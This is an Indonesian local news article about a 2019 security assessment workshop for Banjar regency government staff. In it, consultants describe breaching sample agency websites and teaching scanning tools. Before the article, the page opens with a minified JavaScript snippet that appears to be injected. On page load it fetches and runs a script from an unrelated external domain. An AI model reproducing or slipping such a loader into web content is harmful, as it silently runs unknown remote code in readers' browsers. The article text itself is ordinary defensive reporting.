(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Domain website go.id menjadi favorit para peretas untuk menunjukkan kemampuan menjebol sistem keamanan suatu aplikasi berbasis website, dimana sistem website pemerintahan khususnya Pemkab Banjar menggunakan domain website tersebut.
Dinas Kominfo Statistik dan Persandian Kabupaten Banjar dengan Lembaga Penelitian Teknologi Informasi PT Inixindo Widya Iswara Nusantara Yogyakarta menyelenggarakan workshop security assesment, di Aula Baiman Bappedalitbang Banjar, Selasa (26/3/2019)
Konsultan Teknologi Informasi PT Inixindo Yogyakarta, Arindra Saktiawan menilai, ancaman keamanan sistem informasi milik pemerintah daerah terutama yang berbasis internet saat ini semakin beragam. kegiatan pelatihan Security Assesment ini adalah sebagai tindakan preventif dari ancaman keamanan sistem.
“Kami mengambil sample website dibawahnya dari banjarkab.goi.id, salah satunya websitennya BKD dan Bappeda Banjar yang hasilnya bisa dijebol, pada pelatihan ini kami akan memberikan pengenalan konsep dasar keamanan informasi, keamanan infrastuktur sistem informasi, keamanan jaringan, keamanan aplikasi web, identifikasi kelemahan pada sistem informasi, pengamanan terhadap aplikasi, data, jaringan, dan host,†jelas Arindra.
Ditambahkan Arindra, ancaman keamanan sistem informasi sekedar virus berdaya rusak rendah hingga potensi munculnya hacker maupun cracker yang dapat merusak sistem, bahkan sampai memerlukan instalasi ulang sistem. Maka dengan itu tujuan utama pelatihan ini lebih cenderung kepada warmest, bagaimana peserta bisa menjaga aplikasi di SKPD, apakah aman terhindar dari tindakan peretasan, yaitu dengan mengunakan tools scanner yang akan dibagikan, hal ini akan mengetahui seberapa aman aplikasi yang dimiliki.
Tambahnya lagi, pada workshop security assesment juga dijelaskan 500 data website pemerintahan di Indonesia yang diretas pada tiga bulan pertama 2019 yang bersumber dari Zone-h.org dan juga cara instalasi tools “Kali Linux†yaitu aplikasi untuk mencek auditing terhadap sistem informasi website.
Para peserta yang hadir mewakili SKPD Lingkup Kabupaten Banjar terlihat antusias mengikuti workshop tersebut terlebih pada sesi tanya jawab. Juga berhadir Sekretaris Daerah Kabupaten Banjar H Nasrun Syah yang membuka acara workshop tersebut, didampingi Kepala Dinas Kominfo,Statistik dan Persandian Banjar HM Farid Soufian, Sekretaris Dinas Kominfo Statistik dan Persandian Banjar Heru Pitaya. (rendy)
+
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.